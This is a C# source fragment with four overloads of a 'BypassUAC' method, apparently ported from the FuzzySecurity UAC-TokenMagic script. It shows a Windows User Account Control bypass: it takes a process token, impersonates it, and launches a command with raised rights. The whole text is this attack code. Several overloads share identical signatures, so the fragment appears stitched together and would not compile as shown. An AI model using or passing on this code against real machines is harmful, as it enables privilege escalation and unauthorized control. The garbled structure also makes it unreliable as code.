////////////////////////////////////////////////////////////////////////////////
//
////////////////////////////////////////////////////////////////////////////////
public Boolean BypassUAC(IntPtr htoken, String command)
{
phNewToken = htoken;
if (SetTokenInformation())
{
if (ImpersonateUser())
{
String arguments = "";
if (command.Contains(' '))
{
String[] commandAndArguments = command.Split(new String[] { " " }, StringSplitOptions.RemoveEmptyEntries);
command = commandAndArguments.First();
arguments = String.Join(" ", commandAndArguments.Skip(1).Take(commandAndArguments.Length - 1).ToArray());
}
if (CreateProcess.CreateProcessWithLogonW(phNewToken, command, arguments))
{
advapi32.RevertToSelf();
return(true);
}
}
advapi32.RevertToSelf();
}
return(false);
}
////////////////////////////////////////////////////////////////////////////////
//https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/UAC-TokenMagic.ps1
////////////////////////////////////////////////////////////////////////////////
public void BypassUAC(Int32 processId, String command)
{
Console.WriteLine(" [+] Running as: " + WindowsIdentity.GetCurrent().Name);
GetPrimaryToken((UInt32)processId);
SetTokenInformation();
ImpersonateUser();
CreateProcess.CreateProcessWithLogonW(phNewToken, command, "");
}
////////////////////////////////////////////////////////////////////////////////
//https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/UAC-TokenMagic.ps1
////////////////////////////////////////////////////////////////////////////////
public Boolean BypassUAC(Int32 processId, String command)
{
if (GetPrimaryToken((UInt32)processId))
{
if (SetTokenInformation())
{
if (ImpersonateUser())
{
if (CreateProcess.CreateProcessWithLogonW(phNewToken, command, ""))
{
advapi32.RevertToSelf();
return(true);
}
}
advapi32.RevertToSelf();
}
}
return(false);
}
////////////////////////////////////////////////////////////////////////////////
//https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/UAC-TokenMagic.ps1
////////////////////////////////////////////////////////////////////////////////
public Boolean BypassUAC(Int32 processId, String command)
{
if (GetPrimaryToken((UInt32)processId))
{
if (SetTokenInformation())
{
if (ImpersonateUser())
{
String arguments = String.Empty;
FindExe(ref command, out arguments);
if (CreateProcess.CreateProcessWithLogonW(phNewToken, command, arguments))
{
advapi32.RevertToSelf();
return(true);
}
}
advapi32.RevertToSelf();
}
}
return(false);
}
